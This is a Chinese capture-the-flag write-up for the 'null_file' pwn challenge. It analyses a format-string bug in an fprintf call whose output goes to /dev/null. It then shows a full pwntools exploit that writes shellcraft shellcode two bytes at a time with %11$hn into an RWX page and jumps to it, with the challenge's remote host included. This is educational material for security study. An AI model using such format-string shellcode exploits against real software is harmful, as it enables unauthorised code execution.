null_file

极客大挑战2025null_file (3).png

main函数:

极客大挑战2025null_file (1).png

极客大挑战2025null_file (2).png

题目就只有这个main函数,首先len = getpagesize()获取当前操作系统的内存页大小,也就是4096字节,然后mmap申请了三个内存页大小的权限为7的地方,这里可以考虑用shellcode

然后stream = fopen("/dev/null", "w"),/dev/null: 是 Linux 系统中一个特殊的设备文件,任何写入它的数据都会被丢弃而不会储存,fopen返回一个指针,然后如果打开成功,进入if分支

在addr开头放了个-61(对应的机器码为0xc3,也就是ret),然后进入个无限循环,给了我们向s写入15字节机会,然后如果没输入东西或者只输入了\n(会被替换为0)就跳入LABEL_10,而LABEL_10是return ((__int64 (*)(void))addra)(),看汇编我们可以发现这里就是一个call指令,跳转到addra指向的地方开始执行,我们可以看到addra和addr是在同一个区域中的,也就是说我们只要往addr写入shellcode,就能利用这个操作直接执行

如果我们输入了东西,会执行一个fprintf,fprintf多了一个参数,第一个参数是代表输出到指定的文件流(如 stderr, stdout 或文件),这里就是输出到 /dev/null,我们前面说了往 /dev/null写会直接丢弃掉数据,同时我们发现这里有格式化字符串漏洞,这里我们虽然不能用%p这些泄露地址,但是我们的%n修改操作能正常使用,(这里 /dev/null对我们%n没影响,它丢弃的是我们输入的%n),然后addra指向的地址+2,无限循环

那我们的重点利用就是这个格式化字符串了,我们在call fprintf下断点看看栈上的情况(这里不知道为什么,在ida中看汇编代码中得到的call fprintf指令的偏移量不对,我是在disassemble main在gdb中看汇编来找这个指令的偏移量)

在看fprintf前,我们先讨论一下addra和addr的关系,我们看到main函数开头addr和addra的栈的位置是一样的,因为在addra的生命周期中addr是没用到的,所以编译器为了节省空间就复用了addr的栈位置给addra,然后它们存的都是一个指针,在开始时addra里面存的指针是addr里面存的指针-2

极客大挑战2025null_file(5).png

这里注意一下,我们可以看到+2是在fprintf前执行的

极客大挑战2025null_file (4).png

我们看到06的位置有一个0xc3,这个就是开始在addr存入的-61,这也跟我们前面看到的符合,在这个时候addra已经+2了,与addr重合了,所以看这个栈空间我们是相当于可以直接向addra(说是addr也行)指向的地址也就是我们开始建立的7权限的地址写入的,那我们就可以直接利用%11hn写入了,这里用hn两字节写入是因为,*addra是char,*addr是byte,都是一字节的,那每次递增两格就是增加两字节,刚好和hn的两字节写入契合上,能连续写入

shell = asm(shellcraft.sh())
shell += asm('''jmp $-0x30''')

这里最后加上一个jmp是因为我们是从addra开头放的,我们退出时是call 当前的addra(可能是addr+2n),所以是从我们最后写入输入的两字节的开头开始执行的,所以我们要让它跳转到开头,我们这个跳转指令必须要小于等于两字节,不然无法完整执行,这里jmp刚好两字节

for i in range(0,len(shell),2):
    code = shell[i:i+2]
    code = code.ljust(2,b'\x90')
    sla(b"leave your actions: \n",f"%{u16(code)}c%11$hn".encode())

这里 code = code.ljust(2,b'\x90')可以删掉,因为shell是偶数字节(50字节),但是如果是奇数这行就必须要

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']

file_name = './pwn_patched'
libc_name = './libc.so.6'

elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
0x14f2
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n"

if switch:
   target = 'nc1.ctfplus.cn'
   port   =   15108
   p = remote(target, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl():                return p.recvline()
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def a(f, off=libc):      return lg(hex(off), (ret := f.address + off)) or ret
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'|', name='Leak'):      return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def ntlb(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None):                    return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s, f=None):
   target = f or libc
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   gadget = rop.find_gadget(instrs)
   if gadget:
       addr = gadget.address
       lg(s, addr)
       return addr
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

#################################################################################

shell = asm(shellcraft.sh())
shell += asm('''jmp $-0x30''')
for i in range(0,len(shell),2):
    code = shell[i:i+2]
    code = code.ljust(2,b'\x90')
    sla(b"leave your actions: \n",f"%{u16(code)}c%11$hn".encode())
sla(b"leave your actions: \n",b"\x00")  
it()


题目链接:

CTF-Writeups/第十六届极客大挑战/null_file at main · Zenquiem/CTF-Writeups


null_file
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-oa9UQv0i
作者
ZenDuk
发布于
2026年01月14日
许可协议